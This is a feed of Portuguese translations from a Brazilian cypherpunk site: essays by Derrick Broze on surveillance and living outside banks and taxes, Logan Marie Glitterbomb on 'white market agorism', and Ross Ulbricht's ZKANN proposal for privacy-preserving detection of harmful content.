&lt;p>Esses homens e seus colegas em vários setores tecnológicos exercem um imenso poder por meio de suas empresas, riqueza e influência cultural. Esses indivíduos têm dinheiro, recursos e conexões suficientes para moldar as eleições, fazer a geoengenharia do clima e causar quedas no mercado de ações, para citar alguns exemplos. Eles são a classe tecnocrata de hoje.&lt;/p>
&lt;p>Quero lembrar ao leitor em potencial do futuro que esses nomes podem não significar nada para você neste momento - eles podem de fato ser relíquias de um passado há muito morto. Quaisquer que sejam os nomes das corporações, CEOs e governos que desempenham esse papel, as preocupações e as possíveis soluções permanecem as mesmas. Se a tecnologia continuar a avançar exponencialmente, então é provável que a tendência para a vigilância também continue e, com a diminuição da privacidade, uma diminuição das liberdades gerais. É isso que buscamos superar.&lt;/p>
&lt;p>Outro exemplo do mundo tecnocrático envolve o uso crescente de ferramentas de vigilância como reconhecimento facial, detecção de voz, câmeras de TV em circuito fechado 24 horas por dia, 7 dias por semana, inteligência artificial, manipulação algorítmica, vigilância de telefone celular, monitoramento de mídia social, rastreamento de localização, escuta digital via smart dispositivos e o impulso geral para uma rede inteligente alimentada por 5G. Claro, essas tecnologias não são promovidas como ferramentas de vigilância, mas sim como ferramentas de segurança, conveniência, educação e lucro. Porém, o resultado é o mesmo: indivíduos e empresas promovendo soluções tecnológicas para os males do mundo, resultando na perda das liberdades individuais e no controle mais centralizado.&lt;a href="#notas-do-tradutor">[1]&lt;/a>
&lt;/p>
&lt;p>Claro, a venda da sociedade a necessidade de um mundo digital completamente interconectado, onde tecnólogos e especialistas científicos organizem nossas vidas, pode ser auxiliada por uma boa dose de propaganda do parceiro favorito do Estado no crime, a mídia corporativa. Entre Duas Idades, de Brzezinski, fornece mais informações sobre o plano tecnocrático:&lt;/p>
&lt;blockquote>
&lt;p>&amp;ldquo;Na sociedade Tecnetrônica, a tendência parece ser agregar o apoio individual de milhões de cidadãos desorganizados, que estão facilmente ao alcance de personalidades atraentes e magnéticas, e explorar efetivamente as mais recentes técnicas de comunicação para manipular a emoção e controlar a razão.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>Juntos, os tecnocratas (também conhecidos como Big Tech), seus amigos obedientes na mídia e seus parceiros no governo estão se tornando o que chamo de Estado Tecnocrático. O resto deste trabalho é dedicado a abrir buracos neste Estado Tecnocrático e explorar suas fraquezas. Conforme mencionado na introdução, aqueles que desejam manter a privacidade e a liberdade devem estar dispostos a se adaptar às tecnologias constantemente emergentes com o potencial de libertar ou aprisionar nossos corações e mentes. Acredito que a chave para resistir à Tecnocracia pode ser encontrada no trabalho de Samuel Konkin III e sua teoria da Contra-Economia.&lt;/p>
&lt;p>Disponível originalmente no livro “How to Opt-Out the Technocratic State” (Como se Auto-Excluir do Estado Tecnocrático).&lt;/p>
&lt;h5 id="notas-do-tradutor">Notas do Tradutor:&lt;/h5>
&lt;ol>
&lt;li>É importante ressaltar que esse texto foi escrito no começo de 2020, ou seja, antes da pandemia do Sars-COV-2. Não é difícil notar que as medidas de vigilância e opressão citadas por Broze aumentaram em níveis astronômicos a partir do surto do vírus. Usar a doença para aumentar o monitoramento foi a desculpa perfeita, mas como o próprio autor comentou, o resultado é sempre o mesmo: perda das liberdades individuais e controle centralizado.&lt;/li>
&lt;/ol>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Os Obstáculos(e soluções) para Viver o Estilo de Vida Contra-Econômico</title><link>https://cypherpunks.com.br/documentos/os-obst%C3%A1culos-e-solu%C3%A7%C3%B5es-para-viver-o-estilo-de-vida-contra-econ%C3%B4mico/</link><pubDate>Tue, 21 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/os-obst%C3%A1culos-e-solu%C3%A7%C3%B5es-para-viver-o-estilo-de-vida-contra-econ%C3%B4mico/</guid><description>Os motivos pelos quais alguém escolhe não participar de instituições “tradicionais” e expectativas sociais variam de pessoa para pessoa, mas geralmente as pessoas procuram parar de apoiar sistemas com os quais não concordam. Quer estejamos falando financeiramente(para evitar impostos) ou filosoficamente (por motivos morais), muitos de nós …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="derrick-broze">Derrick Broze&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Os motivos pelos quais alguém escolhe não participar de instituições “tradicionais” e expectativas sociais variam de pessoa para pessoa, mas geralmente as pessoas procuram parar de apoiar sistemas com os quais não concordam. Quer estejamos falando financeiramente(para evitar impostos) ou filosoficamente (por motivos morais), muitos de nós que vivemos fora do sistema convencional fazemos isso porque discordamos das pessoas que administram esses sistemas — e, em alguns casos, do sistema como um todo.&lt;/p>
&lt;p>Não queremos financiar esses governos pagando impostos. Não queremos apoiar o sistema bancário monopolizado e os bancos que roubam o povo. Não queremos violar nossa bússola ou princípios morais participando dessas charadas. Em vez disso, tomamos medidas para começar a nos remover desses sistemas o mais rápido (e da forma mais segura) possível. Cada um de nós tem um objetivo diferente e perspectivas diferentes sobre até que ponto levar o esforço para optar e desocupar esses sistemas que promovem o autoritarismo e o roubo financeiro. No entanto, o que nos une é nossa crença de que as pessoas devem ser livres para organizar seus próprios assuntos, sem a interferência de qualquer autoridade centralizada, seja na forma de um governo ou de monarcas. Simplificando, reconhecemos que cada indivíduo é dono de si mesmo e deve conseguir viver livre de interferências, extorsões, ameaças de violência e compaixão forçada.&lt;/p>
&lt;p>Quando cheguei a essas conclusões, tive uma mudança interna que foi tão profunda e simples: não vou mais participar de sistemas que não apoio. Primeiro, parei de usar os bancos por ver os resultados da crise financeira de 2008 e aprendi sobre as muitas crises econômicas criadas pelos banqueiros ao longo da história. Em segundo lugar, recusei-me a usar um cartão de crédito e nunca tentei estabelecer uma linha de crédito por meio desses bancos. Também parei de dirigir porque não queria obter uma identidade estadual e, em vez disso, passei a usar apenas um passaporte. No final de 2010, compreendi a natureza da guerra e da violência perpetuada pelo Império Americano e decidi que não pagaria mais imposto de renda. Parei de declarar e esforcei para manter minha renda abaixo da linha de pobreza. Também parei de trabalhar em empregos que me compensavam na forma de cheque.&lt;/p>
&lt;p>Desde aquela época, abri meus próprios negócios (sem preencher a papelada para licenças municipais) e só aceitei dinheiro, prata ou criptomoedas. Toda a minha receita foi em metais, dinheiro, pagamentos digitais ou escambo. Obviamente, ainda estou pagando um imposto sobre vendas quando não estou comprando em um mercado de produtores ou comprando diretamente de um empreendedor do mercado cinza, mas o objetivo é tomar medidas no sentido de se auto-excluir completamente. Isso não acontece do dia para a noite e não vem sem esforço. Vamos dar uma olhada em alguns desses esforços e suas soluções potenciais.&lt;/p>
&lt;p>Primeiro, quais são as desvantagens potenciais de não usar um banco? Antes de respondermos a essa pergunta, devemos observar que existem alternativas aos grandes bancos, incluindo sindicatos e cooperativas de crédito locais. Essas instituições são normalmente mais conectadas à comunidade local e não estão envolvidas em roubos econômicos. No entanto, faça sua pesquisa e use essas alternativas por sua própria conta e risco. Uma crítica ao fato de se livrar do banco é o medo da falta de segurança ao não armazenar fundos em uma instituição bancária tradicional. O fato é que você pode confiar em uma instituição bancária e no governo dos Estados Unidos, ou pode optar por assumir a responsabilidade pessoal e guardar seu dinheiro debaixo do colchão, em um cofre, em um banco privado ou em qualquer outro lugar que desejar, contanto que você esteja tomando as medidas de segurança adequadas.&lt;/p>
&lt;p>Além dos riscos de segurança, também existem desvantagens financeiras em não usar bancos. Recentemente, recebi um pagamento na forma de cheque por um show na mídia. Não apenas fui forçado a visitar um banco para descontar o cheque (Bank of America, nada menos), mas fui tributado em $8 pelo banco para descontar meu cheque por não abrir uma conta bancária. Agora, esse problema é facilmente resolvido por educação contínua sobre o valor de não usar bancos (ou dinheiro garantido pelo governo) e o poder de moedas alternativas. Infelizmente, ainda estamos em um ponto em que poucas pessoas conhecem e entendem esses valores, resultando em opções limitadas no mercado. A empresa que me enviou o cheque é uma empresa de mídia antiga cujos funcionários desconhecem a filosofia agorista, a contra-economia e as opções de pagamento digital. A probabilidade de eu convencê-los a me pagar em prata ou criptomoeda não é alta. Isso é importante lembrar porque até que tenhamos construído um sistema completamente paralelo que oferece uma alternativa ao paradigma atual — em todas as áreas de nossas vidas — ocasionalmente teremos que fazer negócios com pessoas que ainda estão declarando impostos e, portanto, mantendo um registro de cada transação financeira.&lt;/p>
&lt;p>Outro problema recente que encontrei envolve o aluguel ou compra de propriedades. No meu caso, estava tentando alugar um apartamento em uma cidade grande, mas esses obstáculos também se aplicam a outros lugares. Por alugar com a ajuda de diferentes pessoas durante anos, ficou cada vez mais difícil fazer isso sozinho, pois tenho cada vez menos registros para mostrar a proprietários ou corretores de imóveis em potencial. No caso mais recente, encontrei várias propriedades em potencial, entrei em contato com os proprietários e tentei negociar minha entrada para uma nova casa. Não tenho problemas para pagar o aluguel em dia, mas minha falta de canhotos de cheques causa problemas com pessoas que procuram formas tradicionais de pagamento.&lt;/p>
&lt;p>Mais uma vez, quando tento explicar que recebo dinheiro de apoiadores via Patreon, dinheiro através de uma coisa maluca chamada criptomoeda e algum dinheiro em espécie, eles geralmente olham-me com uma expressão confusa no rosto. Explico que posso mostrar-lhes pagamentos recebidos via Paypal, mas isso também não parece satisfazer. A partir daí, os proprietários tendem a pedir para ver um extrato bancário. Quando digo não, eles ficam perplexos e então pedem um registro fiscal. Quando digo a eles que também não tenho isso, eles olham-me como se eu tivesse pessoalmente desrespeitado suas respectivas mães. No final dessas conversas, estou sendo informado de que eles não podem alugar-me porque não tenho como comprovar minha renda.&lt;/p>
&lt;p>Então, qual é a solução para esses problemas? A solução mais óbvia é a educação. Aqueles como nós que valorizam a ideia de que todas as pessoas morais devem optar por sair de sistemas imorais e criar novos, devem gastar seu tempo e energia educando os outros sobre o valor de tais ações. Quanto mais pessoas entendem esse conceito, mais empreendedores estão optando por não participar e criando valor na contra-economia. Agora, no que diz respeito à situação bancária, as criptomoedas estão mostrando ao mundo como é o sistema bancário digital descentralizado. Quanto mais energia colocamos no suporte (ou na criação) de moedas alternativas — digitais ou não — menos poder os monopólios bancários centralizados têm.&lt;/p>
&lt;p>No que diz respeito às soluções para alugar um apartamento quando você mora principalmente fora do sistema, acredito que a tecnologia blockchain oferece esperança. Blockchain é a tecnologia de razão digital ponto a ponto por trás do Bitcoin e de outras criptomoedas. Para entender como o blockchain pode ajudar, temos que pensar sobre por que corretores de imóveis e proprietários querem ver a documentação de um banco ou governo. Confiança. Segurança. Devido à enorme quantidade de propaganda promovida nas escolas públicas, a maioria das pessoas cresce acreditando que essas instituições são uma parte essencial da vida, se não uma força benevolente em nossas vidas. Somos ensinados a confiar e cooperar com essas instituições. A pessoa média não confia ou acredita que alguém é autêntico, valioso ou digno de aluguel se não possuir tal documentação.&lt;/p>
&lt;p>Então imagine se todas as semanas, quando sou pago pelos artigos que escrevo, eu tirasse uma captura de tela do pagamento digital (ou uma foto de alguém me pagando em dinheiro por um trabalho bem feito) e a postasse em um blockchain. O blockchain é descentralizado, o que significa que as postagens não podem ser alteradas ou excluídas. Se eu continuar a postar minhas declarações de renda semanais em um blockchain, terei um registro descentralizado e transparente de meu histórico ou de quaisquer outros documentos que escolhi colocar no blockchain. Na verdade, isso já poderia acontecer fazendo postagens em um site como o Steemit. Se o corretor de imóveis ou o proprietário do imóvel entender o blockchain, ou estiver disposto a aprender, eles podem se sentir seguros porque há um registro do meu pagamento. Poderíamos até assinar um contrato juntos no blockchain. Isso permitiria transparência e segurança de ambos os lados.&lt;/p>
&lt;p>Acredito que soluções como essa são o futuro e estamos começando a ver isso acontecer. No momento, há dificuldades, pois nós, pioneiros agoristas, lançamos as bases para a contra-economia e o próximo estágio da evolução humana. Faça sua parte para criar o futuro, educando a si mesmo e aos outros sobre Agorismo e Contra-Economia.&lt;/p>
&lt;hr>
&lt;p>Fonte: BROZE, Derrick; How to Opt-Out of the Technocratic State - 21/01/2020&lt;/p></content:encoded></item><item><title>Agorismo do Mercado Branco</title><link>https://cypherpunks.com.br/documentos/agorismo-do-mercado-branco/</link><pubDate>Mon, 20 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/agorismo-do-mercado-branco/</guid><description>A criptomoeda é amplamente um empreendimento no mercado branco e, no entanto, é defendida como um excelente exemplo de agorismo. Os Trabalhadores Industriais do Mundo são elogiados pelo próprio Konkin como um exemplo perfeito de um sindicato agorista e, no entanto, são legalmente registrados no estado e, na maioria das vezes, se organizam …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Iann Zorkot
Revisado por: C4SS, Instituto Ágora, K3ybladeWielder, VInicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="agorismo-do-mercado-branco">Agorismo do Mercado Branco&lt;/h1>
&lt;h2 id="logan-marie-glitterbomb">Logan Marie Glitterbomb&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Dentro de qualquer movimento político definido para mudar radicalmente a sociedade, sempre surge um debate sobre a melhor forma de atingir esses objetivos. Devemos nos unir para uma greve geral? Devemos nos retirar do sistema predominante vivendo de recursos abandonados, roubados e fraudados, à moda do clássico &lt;a href="https://crimethinc.com/languages/portugu%C3%AAs-brasileiro" target="_blank" rel="noopener noreferrer">CrimethInc&lt;/a>
propaganda? Devemos construir cooperativas e coletivos no espírito do comunismo empreendedor? Devemos seguir o caminho da propaganda pelo fato e começar a explodir prédios do governo e assassinar políticos? Que tal uma combinação dos itens acima?&lt;/p>
&lt;p>Bem, o agorismo parece ser exatamente essa combinação. Combinando elementos de ilegalismo, teoria do poder dual, secessão econômica, sindicalismo e anticapitalismo de livre mercado (mas sem muitos dos extremos da propaganda pelo ato), o agorismo propõe uma estratégia de utilização da contra-economia como forma de alcançar uma sociedade anarquista. Mas o que é contra-economia?&lt;/p>
&lt;p>Samuel Edward Konkin III, o fundador do agorismo, define contra-economia em seu trabalho Contra-economia: o que é, como funciona:&lt;/p>
&lt;blockquote>
&lt;p>“A Contra-Economia é a soma de toda a Ação Humana não agressiva que é proibida pelo Estado. Contra-economia é o estudo da Contra-Economia e suas práticas (1). A Contra-Economia inclui o livre mercado, o Mercado Negro, a “economia subterrânea”, todos os atos de desobediência civil e social, todos os atos de associação proibida (sexual, racial, inter-religiosa) e qualquer outra coisa que o Estado, a qualquer momento local ou horário, opte por proibir, controlar, regular, tributar ou cobrar tarifas. A Contra-Economia exclui todas as ações aprovadas pelo Estado (o “Mercado Branco”) e o Mercado Vermelho (violência e roubo não aprovados pelo Estado).”&lt;/p>
&lt;/blockquote>
&lt;p>Essa é a definição básica com a qual os agoristas têm trabalhado desde então e, portanto, o agorismo sempre esteve vinculado aos mercados negro e cinza, excluindo os mercados branco, vermelho e rosa (violência e roubo aprovados pelo Estado). Ou será que não? Porque na realidade das coisas, parece que o “agorismo do mercado branco” é muito mais comum e menos contraditório do que se poderia pensar.&lt;/p>
&lt;p>Para citar Konkin mais uma vez:&lt;/p>
&lt;blockquote>
&lt;p>“À medida que mais pessoas rejeitam as mistificações do Estado — nacionalismo, pseudo-economia, ameaças falsas e promessas políticas traídas —, a contra-economia cresce tanto na vertical quanto na horizontal. Horizontalmente, envolve cada vez mais pessoas que direcionam cada vez mais suas atividades para a contra-economia; verticalmente, significa que novas estruturas (empresas e serviços) crescem especificamente para atender à Contra-Economia (meios de comunicação seguros, mediadores, seguros para atividades especificamente “ilegais”, formas iniciais de tecnologia de proteção e até guardas e defensores).”&lt;/p>
&lt;/blockquote>
&lt;p>Derrick Broze define os conceitos de agorismo horizontal e vertical com mais detalhes em seu ensaio, apropriadamente intitulado Agorismo Vertical &amp;amp; Horizontal. Nesse ensaio, ele explica que o agorismo horizontal “está relacionado à escolha ousada de empreender uma ação que o Estado considera ilegal ou imoral. Ao se aventurar neste território, você está se juntando ao contrabandista, ao traficante de bebidas, ao traficante de maconha, ao jardineiro de guerrilha, ao cortador de grama sem licença, vendedor ou barbeiro, comerciante de armas e cripto-anarquistas. ” Isso é essencialmente agorismo, como Konkin o definiu, mas desde então tornou-se muito mais.&lt;/p>
&lt;p>É no agorismo vertical que descobrimos um afastamento das rejeições agoristas tradicionais do mercado branco. O agorismo vertical é fortemente inspirado no trabalho de Karl Hess, bem como suas experiências em sustentabilidade a nível de bairro e seus livros resumindo essas experiências, Tecnologia Comunitária e Poder da Vizinhança. Como tal, o foco está na sustentabilidade e na auto-confiança da comunidade e não se restringe apenas aos mercados negro e cinza.&lt;/p>
&lt;p>Mais tarde em seu ensaio, Broze continua explicando que:&lt;/p>
&lt;blockquote>
&lt;p>“O agorismo vertical incluiria participar e criar redes de intercâmbio comunitário, agricultura urbana, jardinagem no quintal, mercados locais de fazendeiros (feiras), apoiar alternativas à polícia e apoiar tecnologias descentralizadas P2P. Embora essas etapas verticais possam potencialmente envolver o uso da moeda do estado (e, portanto, não sejam completamente contra-econômicas), elas ainda são significativas para desafiar a dependência do estado e das classes corporativas.”&lt;/p>
&lt;/blockquote>
&lt;p>Agora, arrisco-me a discordar de Broze de que essas ações não são contra-econômicas simplesmente porque não utilizam os mercados negro e cinza, como ele afirma anteriormente em seu ensaio. Obviamente, ele esclarece que, mesmo que não contra-econômicas, “as ações verticais são extremamente valiosas e necessárias”. Mas se essas táticas desafiam diretamente o poder estatal e corporativo, como elas não são contra-econômicas?&lt;/p>
&lt;p>Então, o que é “agorismo do mercado branco”?&lt;/p>
&lt;p>Bem, inclui muitas das coisas que Broze já listou ao descrever o agorismo vertical: redes de intercâmbio comunitário, agricultura urbana, jardinagem, mercados de agricultores, alternativas à polícia e tecnologias descentralizadas P2P. Mas é muito mais que isso.&lt;/p>
&lt;p>A criptomoeda é amplamente um empreendimento no mercado branco e, no entanto, é defendida como um excelente exemplo de agorismo. Os Trabalhadores Industriais do Mundo são elogiados pelo próprio Konkin como um exemplo perfeito de um sindicato agorista e, no entanto, são legalmente registrados no estado e, na maioria das vezes, se organizam dentro da lei. Sites de redes sociais descentralizadas, como Minds e Steemit, fontes de energia renováveis descentralizadas, biohacking, permacultura, hackerspaces e makerspaces, programas de compartilhamento comunitário, modelos alternativos de troca, incluindo gift economies, Sistemas de Câmbio Comunitário, banco mútuo, notas trabalhistas e metais preciosos, medicamentos alternativos e complementares, educação não escolar/domiciliar, Tor, lojas gratuitas, mídia alternativa e empresas de propriedade de trabalhadores são exemplos de agorismo do mercado branco.&lt;/p>
&lt;p>E sim, algumas formas de agorismo do mercado branco podem se sobrepor ao agorismo do mercado cinza e podem ajudar a facilitar o agorismo do mercado negro. Afinal, a contra-economia deve trabalhar em conjunto para derrubar o controle estatal e corporativo. De fato, devemos empurrar muitos desses empreendimentos do mercado branco para ações do mercado cinza e negro, quando apropriado, como promover esses empreendimentos a serem desaprovados ou não reportar toda a renda gerada ao estado, mas não devemos excluir essas ações da contra-economia quando eles não conseguirem fazer isso.&lt;/p>
&lt;p>Contra-economia é contrariar as estruturas de poder em questão. Assim, em um sistema econômico de chefes e escravidão assalariada, as empresas dirigidas por trabalhadores e os sindicatos democráticos populares são contra-econômicos. Em um sistema alimentar amplamente monopolizado por um punhado de empresas que utilizam práticas prejudiciais associadas à agricultura industrial, cultivar sua própria comida ou comprar de agricultores locais é contra-econômico. Em um cenário de mídia amplamente dominado por um punhado de empresas de notícias, a mídia independente é contra-econômica. Em um cenário tecnológico dominado por apenas algumas empresas de tecnologia, a tecnologia livre e de código aberto é contra-econômica.&lt;/p>
&lt;p>Só porque não é um mercado cinza ou negro, não significa que não é contra-econômico e com certeza não significa que não é agorista. Já é hora de abraçarmos e discutirmos abertamente o potencial que o agorismo do mercado branco tem para ajudar nossa causa.&lt;/p>
&lt;hr>
&lt;p>Notas do Tradutor: 1. Note que o autor diferencia “contra-economia” e “contra-Economia”. Contra-economia com “e” minúsculo refere-se ao estudo, Contra-Economia com “E” maiúsculo refere-se a prática.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://c4ss.org/content/52568" target="_blank" rel="noopener noreferrer">White Market Agorism - Logan Marie Glitterbomb&lt;/a>
&lt;/p></content:encoded></item><item><title>ZKANN: Uma Possível Solução para o Problema de Conteúdos Nocivos</title><link>https://cypherpunks.com.br/documentos/zkann-uma-possivel-solucao-para-o-problema-de-conteudo/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/zkann-uma-possivel-solucao-para-o-problema-de-conteudo/</guid><description>Como resolver o problema dos conteúdos nocivos online, que são efeitos colaterais da Privacidade? Ross Ulbricht, fundador da lendária Silk Road, propõe ZKANNs como ponto de equilíbrio entre a privacidade e a censura, como um meio que permite "a censura sem a perda de privacidade", como ele mesmo diz, permitindo a verificação de conteúdos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Tradução por: mem3tic@mut8ion
Formatação e revisão: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="zkann-uma-possível-solução-para-o-problema-de-conteúdos-nocivos">ZKANN: Uma Possível Solução para o Problema de Conteúdos Nocivos&lt;/h1>
&lt;p>Eu li &lt;a href="https://techcrunch.com/2018/12/20/whatsapp-pornography/" target="_blank" rel="noopener noreferrer">este&lt;/a>
artigo recentemente, e tenho uma ideia de como resolver o problema que apresenta. O artigo é sobre como o WhatsApp e outras plataformas com criptografia ponta-a-ponta estão sendo usadas para espalhar pedofilia. A criptografia ponta-a-ponta é essencial para a privacidade online. Sem isso, os provedores de serviços são capazes de escutar suas comunicações, ver suas fotos e juntar suas peças toda a sua vida. Isso pode ser bom se você puder confiar neles para manter suas informações privadas, mas eles não vão. Eles as usam para categorizá-lo, rastreá-lo e vendê-lo a anunciantes ou entregá-lo ao Big Brother.&lt;/p>
&lt;p>No entanto, como o artigo aponta, algumas pessoas estão abusando dessa privacidade. Quando seu conteúdo é criptografado, não há como distingui-lo de todo o outro conteúdo criptografado que flui através do sistema. Se algo não for feito sobre isso, podemos perder essa importante ferramenta de aprimoramento de nossa privacidade em nome de ir atrás desses maus atores. O que precisamos é de uma maneira de separar o conteúdo nocivo do resto sem realmente ver nenhum deles! Eu chamo isso de “problema do conteúdo”. Logo de cara, isso parece ser uma tarefa impossível. No entanto, através de uma combinação de criptografia e inteligência artificial, pode haver um caminho.&lt;/p>
&lt;h2 id="entre-na-zkann">Entre na ZKANN&lt;/h2>
&lt;p>As plataformas já lidam com o problema do conteúdo. Seus usuários criam muito conteúdo para sua equipe olhar e ler tudo o que é postado. Então, eles usam algoritmos para filtrar e categorizar o conteúdo para que o conteúdo prejudicial seja sinalizado ou removido automaticamente. Um algoritmo que eles usam é chamado de “rede neural artificial” (artificial neural network, ANN, em inglês). redes neurais artificiais estão no centro do aprendizado de máquina e grande parte dos recentes avanços em IA.&lt;/p>
&lt;p>As redes neurais artificiais são inspiradas na forma como os cérebros funcionam. Eles são compostos de um monte de neurônios simulados conectados uns aos outros em uma rede. Cada neurônio é muito simples. Ele dispara um sinal a jusante (downstream, descentende) para os neurônios aos quais está conectado, somente se seus neurônios a montante (upstream, ascendentes) dispararem com força suficiente para ele. Como esses neurônios estão conectados – a topologia da rede – é o que dá origem à complexidade da rede neural artificial e permite que ela execute tarefas sobre-humanas, como filtrar rapidamente através de montanhas de conteúdo do usuário.&lt;/p>
&lt;p>A topologia é criada alimentando muito conteúdo na RNA (rede neural artificial), recompensando-a quando identifica corretamente um conteúdo e punindo-o quando erra. A recompensa fortalece as conexões neurais que levaram a um resultado correto, enquanto a punição enfraquece as conexões que levaram a um resultado incorreto. Depois de muitas rodadas de tentativa e erro em um processo chamado “treinamento”, a RNA pode identificar corretamente novos conteúdos. Ele “aprendeu” o que deve e não deve passar pelo seu filtro.&lt;/p>
&lt;p>É importante notar que a topologia da RNA é basicamente uma caixa preta. Assim como não podemos ler os pensamentos de uma pessoa olhando para um escaneamento do cérebro, não sabemos como as RNAs tomam as decisões que tomam. Isso já foi citado como um problema antes. E se, por exemplo, uma RNA fosse treinada em um conjunto de dados contendo um viés racial desconhecido? Poderia então tomar decisões racistas e não saberíamos disso. No entanto, podemos usar essa incapacidade de examinar o funcionamento interno das RNAs a nosso favor enquanto resolvemos o problema do conteúdo.&lt;/p>
&lt;p>A solução que proponho envolve uma RNA quase descentralizada e que usa criptografia para garantir que nenhum nó (nodes) único possa ver mais do que um pequeno pedaço do conteúdo sendo examinado. Essa peça é muito pequena para o nó ter ideia do que é o conteúdo, mas como um todo a rede pode classificá-la. Eu chamo essa construção de “rede neural artificial de conhecimento zero” (Zero Znowledge ANN, em inglês), ou ZKANN (pronuncia-se zee-can).&lt;/p>
&lt;p>Começa por treinar uma RNA à moda antiga: alimentando muito conteúdo em uma nova RNA até que possa diferenciar entre conteúdo prejudicial e normal. Pode ser frutífero fazer parceria nesta tarefa com as agências de aplicação da lei que apreenderam e protegeram esse conteúdo durante as investigações. Felizmente, ninguém precisa visualizar o conteúdo à medida que ele é alimentado através da RNA, e o processo pode ser realizado em uma instalação segura. Uma grande variedade de conteúdo normal também deve ser usada para treinamento, de modo a minimizar falsos positivos. Uma vez que a RNA é treinada, é liberada para o público para que possa ser usada como base para ZKANNs.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/zkann-diagram.webp" loading="lazy"
width="1536" height="1014"
/>
&lt;/p>
&lt;p>Como visto na imagem acima, existem três tipos de participantes em um ZKANN: o usuário, nós voluntários e a autoridade de assinatura (SA). Os nós voluntários são operados por voluntários independentes que desejam contribuir com seus recursos computacionais ociosos para identificar conteúdo nocivo online, e as autoridades de assinatura são partes amplamente confiáveis que assinam conteúdo considerado “não prejudicial” pela ZKANN. Primeiro, analisaremos o caso em que todos os três participantes estão cooperando e desempenhando seu papel como pretendido. Então, vamos olhar para os cenários onde eles podem se desviar e tentar jogar com o sistema.&lt;/p>
&lt;p>O processo começa com o usuário selecionando uma SA e uma RNA pública. A SA responde que está pronta e os operadores de nó começam a se voluntariar para participar. Cada um desempenhará o papel de um neurônio artificial na RNA em questão.&lt;/p>
&lt;p>Cada RNA tem o que é conhecido como “camada de entrada”. Os nós na camada de entrada aceitam como entrada um pequeno pedaço do conteúdo que está sendo analisado. Por exemplo, cada nó na camada de entrada poderia aceitar um número que representa a cor de um pixel individual de uma imagem. Se a imagem for composta de 100 pixels, haveria 100 nós de camada de entrada, um para cada pixel.&lt;/p>
&lt;p>Os nós voluntários em nossa ZKANN que acabam na camada de entrada agora receberão do usuário um pequeno pedaço do conteúdo que está sendo analisado. Na imagem, o conteúdo (uma imagem de uma casa) é dividido em apenas quatro pedaços. Na prática, haveria muitos mais [pedaços] e muitos mais nós voluntários em geral. Como cada nó é operado de forma independente, nenhum tem acesso a mais do que um pequeno pedaço do conteúdo e, portanto, não pode determinar qual é o conteúdo.&lt;/p>
&lt;p>Agora, nossos nós na camada de entrada realizarão duas operações importantes. Primeiro, eles enviarão um sinal para seus operadores de nó a jusante (downstream, descendentes) de acordo com a topologia da RNA pública que está sendo usada (setas roxas). Este sinal carrega algumas informações sobre o pequeno conteúdo em que é baseado, mas não o suficiente para o nó a jusante (downstream, descendente) determinar qual é o conteúdo original. Em segundo lugar, os nós da camada de entrada encriptarão sua pequena parte do conteúdo com a(s) chave(s) usada(s) no esquema de criptografia de ponta a ponta e enviá-lo para a SA (setas vermelhas). Uma vez que o SA tem todas as peças encriptar separadamente, ele as agrupa e aguarda o sinal final da camada de saída.&lt;/p>
&lt;p>A camada de saída é o último conjunto de nós no ZKANN. Eles enviam seus sinais a jusante para a SA que usa esses sinais para fazer a determinação final se o conteúdo original é prejudicial ou não. Como a RNA opera como uma caixa preta, não há como a SA - ou qualquer um dos nós - fazer o caminho contrário independentemente para obter o conteúdo original. Mas, milagrosamente, a SA pode dizer se o conteúdo é ou não prejudicial com base em seus sinais recebidos. Se, com base neles, os dados forem considerados “não prejudiciais”, ele sinaliza criptograficamente o pacote criptografado de conteúdo e os envia de volta ao usuário.&lt;/p>
&lt;p>Agora, sem nunca ter revelado mais do que um pequeno pedaço do conteúdo para cada participante, o usuário pode mostrar aos provedores de serviços que o conteúdo não é prejudicial e eles podem servir esse usuário com a consciência limpa.&lt;/p>
&lt;h2 id="desenvolvimento-futuro">Desenvolvimento Futuro&lt;/h2>
&lt;p>Como prisioneiro, não posso construir protótipos, pesquisar ou desenvolver ZKANNs, e há algumas áreas que precisam de trabalho. Se você notou, eu fiz questão de deixar claro que os operadores de nós devem ser independentes. A construção da ZKANN só funciona como pretendido se nenhum participante controlar mais do que uma pequena fração dos nós voluntários que estão sendo usados. Se alguém que não fosse o usuário controlasse todos os nós da camada de entrada, por exemplo, eles poderiam juntar os fragmentos do conteúdo e a privacidade do usuário seria perdida. Por outro lado, um usuário mal-intencionado que controla uma grande fração dos nós voluntários poderia enviar sinais correspondentes ao conteúdo normal, mesmo que o conteúdo original fosse prejudicial e enganasse uma SA para assinar conteúdo prejudicial.&lt;/p>
